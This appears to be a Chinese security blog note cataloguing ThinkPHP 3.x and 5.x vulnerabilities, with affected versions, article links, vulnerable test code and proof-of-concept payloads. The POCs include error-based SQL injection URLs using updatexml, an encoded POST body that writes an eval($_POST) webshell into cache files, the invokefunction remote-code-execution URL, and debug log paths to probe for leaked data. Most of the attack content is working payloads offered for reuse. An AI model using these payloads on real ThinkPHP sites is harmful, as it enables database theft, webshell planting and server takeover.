ThinkPHP漏洞,很久之前看到的,忘记是哪位老哥整理的了,我也添加了一些,做个记录(陆续会添加)。
ThinkPHP 漏洞列表
可能存在的漏洞
[x] SQL注入
[x] 后台弱口令
[x] Debug模式下的日志记录
其实这三个我最寄托于debug的日志记录,这里很多文章大牛分析了路径为:
thinkphp3 log日志路径
Application//Runtime/Logs/Home/20_05_01.log
Application//Runtime/Logs/Admin/20_05_01.log
Application//Runtime/Logs/Index/20_05_01.log
Runtime\Logs\Home\16_09_09.log
thinphp5 log日志路径
Application//Runtime/Logs/202005/01.log
Runtime/Log/202002/15.log
一、3.x
使用方法
1 >cd /var/www/tp3
ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
标题 | ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell |
---|---|
时间 | 2017-08-09 |
版本 | <= 3.2.3 |
文章链接 | https://xz.aliyun.com/t/99 |
ThinkPHP3.2.3_最新版update注入漏洞
标题 | Thinkphp3.2.3最新版update注入漏洞 |
---|---|
时间 | 2018-04-16 |
版本 | <= 3.2.3 |
文章链接 | https://www.anquanke.com/post/id/104847 |
ThinkPHP3.2.X_find_select_delete注入
标题 | thinkphp3.2 find_select_delete注入 |
---|---|
时间 | 2018-08-23 |
版本 | <= 3.2.3 |
文章链接 | https://xz.aliyun.com/t/2631 https://xz.aliyun.com/t/2629 |
ThinkPHP3.X_order_by注入漏洞
标题 | ThinkPHP 3.X/5.X order by注入漏洞 |
---|---|
时间 | 2018-08-29 |
版本 | <= 3.2.3 |
文章链接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
二、5.x
使用方法
1 >cd /var/www/tp5
ThinkPHP5_SQL注入漏洞&&敏感信息泄露
标题 | ThinkPHP5 SQL注入漏洞 && 敏感信息泄露 |
---|---|
时间 | 2017-07-03 |
版本 | < 5.0.9 |
文章链接 | https://xz.aliyun.com/t/125 https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html |
测试方法
1 >git checkout 02f8e8a测试代码
1
2
3
4
5
6 >public function testsql()
>{
$ids = input('ids/a');
$result = db('user')->where('id', 'in', $ids)->select();
var_dump($result);
>}POC
1 >testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231结果
ThinkPHP5.0.10-3.2.3_缓存函数设计缺陷可导致Getshell
标题 | ThinkPHP5.0.10-3.2.3 缓存函数设计缺陷可导致Getshell |
---|---|
时间 | 2017-08-09 |
版本 | < 5.0.11 |
文章链接 | https://xz.aliyun.com/t/99 |
测试方法
1 >git checkout 094dde5测试代码
1
2
3
4
5
6
7
8
9
10 >public function add()
>{
$user = input('post.');
$m=db('user')->where(['id'=> 1])->insert($user);
>}
>public function cache()
>{
$m = db('user')->select();
Cache::set('name',$m,3600);
>}POC
1
2
3 >post data:
username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
>注:%2F%2F%0D%0A = //+回车结果
其中文件路径和名称是 b0+68931cc450442b63f5b3d276ea4297 而
md5(‘name’) = b068931cc450442b63f5b3d276ea4297
ThinkPHP框架5.0.X_sql注入漏洞分析
标题 | ThinkPHP框架 5.0.x sql注入漏洞分析 |
---|---|
时间 | 2018-04-09 |
版本 | < 5.0.16 |
文章链接 | https://xz.aliyun.com/t/2257 |
测试方法
1 >git checkout 7c13757测试代码
1
2
3
4
5 >public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}POC
1 >testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1结果
ThinkPHP5.X_order_by注入漏洞
标题 | ThinkPHP 3.X/5.X order by注入漏洞 |
---|---|
时间 | 2018-08-23 |
版本 | <= 5.1.22 |
文章链接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
测试方法
1 >git checkout 35e9878测试代码
1
2
3
4
5
6 >public function testsql()
>{
$order = input('get.order');
$m = db('user')->order($order)->find();
var_dump($m);
>}POC
1 >testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1结果
ThinkPHP5.X_远程代码执行
标题 | ThinkPHP5.X 远程代码执行 |
---|---|
时间 | 2018-12-10 |
版本 | 5.0.5-5.0.22 5.1.0-5.1.30 |
文章链接 | https://xz.aliyun.com/t/3570 https://paper.seebug.org/760/ https://paper.seebug.org/770 |
测试方法
1 >git checkout 4fefa5e测试代码
1
2
3
4 >public function index()
{
//...无需实际代码
}POC
1 >index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1结果